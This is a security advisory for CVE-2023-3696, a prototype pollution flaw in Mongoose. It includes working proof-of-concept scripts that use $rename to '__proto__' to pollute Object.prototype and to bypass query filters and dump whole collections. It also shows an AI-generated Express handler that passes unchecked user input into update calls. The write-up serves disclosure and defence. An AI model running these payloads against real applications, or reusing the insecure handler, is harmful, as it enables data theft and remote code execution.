Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

本文转自ehhthing 并作补充

If an attacker has some way to control an object on the Mongo server through one way or another, it is possible to cause prototype pollution on any Mongoose client. Notably, if a poorly implemented service allows a user to control the object in findByIdAndUpdate and similar functions, this bug could be triggered through the $rename operator. Another possibility is if two different services interact with the same Mongo database, it is possible that one of them allows a user to inject an arbitrary object containing a __proto__ field, which would also trigger this bug.

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

Allowing user input directly into update operations seems to be a very common pattern. For example, if we ask GPT-4 a basic prompt for updating a post using Mongoose, it gives us:

Prompt:

Using Express and Mongoose, take input from the user to find a “Post” by an id, and update its fields.

Response:

In Express and Mongoose, you can use the findByIdAndUpdate method to find a “Post” by an id and update its fields. Here’s how you can do it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express');
const mongoose = require('mongoose');
const Post = require('./models/post'); // Assuming you have a Post model in models/post.js

const app = express();

app.use(express.json()); // for parsing application/json

app.put('/post/:id', async (req, res) => {
const { id } = req.params;

try {
const post = await Post.findByIdAndUpdate(id, req.body, { new: true });
// new: true returns the updated post rather than the original post when the operation began

if (!post) {
return res.status(404).send();
}

res.send(post);
} catch (e) {
res.status(400).send(e);
}
});

In the above example, req.params.id is used to get the id from the URL. The req.body is used to get the updated data from the user. The { new: true } option is used to return the updated post.

Proof of concept:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import { connect, model, Schema } from 'mongoose';

await connect('mongodb://127.0.0.1:27017/exploit');

const Example = model('Example', new Schema({ hello: String }));

const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
$rename: {
hello: '__proto__.polluted'
}
});

// this is what causes the pollution
await Example.find();

const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }

process.exit();

Resulting Database Entry

1
2
3
4
5
6
7
8
exploit> db.examples.find({})
[
{
_id: ObjectId("64a757117e3dbf11b14e0fd4"),
__v: 0,
['__proto__']: { polluted: 'world!' }
}
]

Explanation

When Mongoose finds documents and reads the malicious document into an object, it uses an object with a prototype. If the top level object contains a __proto__ field, it leads to overwrites of the object prototype.

Affected Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// document.js
/**
* Init helper.
*
* @param {Object} self document instance
* @param {Object} obj raw mongodb doc
* @param {Object} doc object we are initializing
* @param {Object} [opts] Optional Options
* @param {Boolean} [opts.setters] Call `applySetters` instead of `cast`
* @param {String} [prefix] Prefix to add to each path
* @api private
*/

function init(self, obj, doc, opts, prefix) {
// ...

function _init(index) {
// ...

if (!schemaType && utils.isPOJO(obj[i])) {
// ...

// (1)
// our malicious payload first reaches here, where:
// obj is some document
// i = '__proto__'
// so, obj[i] gives Object.prototype, which gets used in (2)
init(self, obj[i], doc[i], opts, path + '.');
} else if (!schemaType) {
// (2)
// after the recursive call on (1), we reach here
// pollution happens on the next line, where:
// doc: Object.prototype,
// obj = { polluted: 'world!' },
// i = 'polluted'
doc[i] = obj[i];
if (!strict && !prefix) {
self[i] = obj[i];
}
} else {

Credits

This bug was found by myself (@ehhthing) and @strellic_

Impact

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

We also found that we can actually exploit Mongoose itself with the prototype pollution, to cause it to bypass all query parameters when using .find(), which allows an attacker to potentially dump entire collections:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import { connect, model, Schema } from 'mongoose';

const mongoose = await connect('mongodb://127.0.0.1:27017/exploit');

const Post = model('Post', new Schema({
owner: String,
message: String
}));

await Post.create({
owner: "SECRET_USER",
message: "SECRET_MESSAGE"
});

const post = await Post.create({
owner: "user",
message: "test message"
});
await Post.findByIdAndUpdate(post._id, {
$rename: {
message: '__proto__.owner'
}
});

// this pollutes Object.prototype.owner = "test message"
await Post.find({ owner: "user" });

// now, when querying posts, even when an owner is specified, all posts are returned
const posts = await Post.find({
owner: "user2"
});

console.log(posts); // both posts created are found
/*
output:
[
{
_id: new ObjectId("64a7610756da3c04f900bf49"),
owner: 'SECRET_USER',
message: 'SECRET_MESSAGE',
__v: 0
},
{
_id: new ObjectId("64a7610756da3c04f900bf4b"),
owner: 'user',
__v: 0
}
]
*/
process.exit();

This could also easily lead to denial of service depending on how large a Mongo collection is, and which other libraries are being used in the application.